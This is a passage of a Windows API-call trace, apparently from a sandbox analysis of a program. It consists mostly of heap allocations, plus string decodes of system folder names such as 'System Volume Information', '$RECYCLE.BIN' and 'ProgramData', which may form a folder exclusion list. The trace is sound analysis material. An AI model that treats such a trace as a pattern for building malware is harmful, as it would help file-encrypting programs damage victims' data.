BaseAddress=0x123d2f0) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2e0) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc90) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2e0 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2f0 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d300 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d310 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x123bc90 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d320 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c670) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2d0) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c6b8) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2c0) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c700) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2b0) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c748) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2a0) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c790) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d290) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c7d8) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d270) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c820) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d280) returned 1 [0256.338] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x8d5058 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d280 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c820 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d270 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c7d8 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d290 [0256.338] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c790 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2a0 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c748 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2b0 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c700 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2c0 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c6b8 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2d0 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c670 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2e0) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2f0) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d300) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d310) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d320) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d350) returned 1 [0256.339] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc90) returned 1 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x123bc90 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d320 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d310 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d300 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2f0 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2e0 [0256.339] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c820) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d280) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c7d8) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d270) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c790) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d290) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c748) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2a0) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c700) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2b0) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c6b8) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2c0) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c670) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2d0) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d5058) returned 1 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0256.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c280, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123db68 [0256.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c280, cbMultiByte=25, lpWideCharStr=0x123db68, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dbf0 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123db68) returned 1 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2d0 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123db68 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dbf0) returned 1 [0256.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c238, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dbf0 [0256.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c238, cbMultiByte=12, lpWideCharStr=0x123dbf0, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dc78 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dbf0) returned 1 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2c0 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dbf0 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dc78) returned 1 [0256.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c1f0, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dc78 [0256.340] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c1f0, cbMultiByte=8, lpWideCharStr=0x123dc78, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0256.340] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dd00 [0256.340] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dc78) returned 1 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2b0 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dc78 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dd00) returned 1 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c1a8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dd00 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c1a8, cbMultiByte=6, lpWideCharStr=0x123dd00, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dd88 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dd00) returned 1 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2a0 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dd00 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dd88) returned 1 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c2c8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dd88 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c2c8, cbMultiByte=11, lpWideCharStr=0x123dd88, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123de10 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dd88) returned 1 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x123dd88 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d290 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123de98 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123de10) returned 1 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c160, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123ddb0 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c160, cbMultiByte=7, lpWideCharStr=0x123ddb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123df20 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ddb0) returned 1 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d270 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dfc0 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123df20) returned 1 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c310, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e048 [0256.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c310, cbMultiByte=11, lpWideCharStr=0x123e048, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e0d0 [0256.341] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e048) returned 1 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d280 [0256.341] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123e048 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123e0d0) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d350) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d320) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d310) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d300) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2f0) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2e0) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123bc90) returned 1 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2e0 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2e0) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.342] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2e0 [0256.342] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2f0 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d300 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d310 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d6a0 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d320 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d370 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c670 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2e0) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2f0) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d300) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d310) returned 1 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.343] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.343] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d310 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d300 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2f0 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2e0 [0256.344] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d320) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d350) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c670) returned 1 [0256.344] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d370) returned 1 [0256.344] RtlFreeHeap 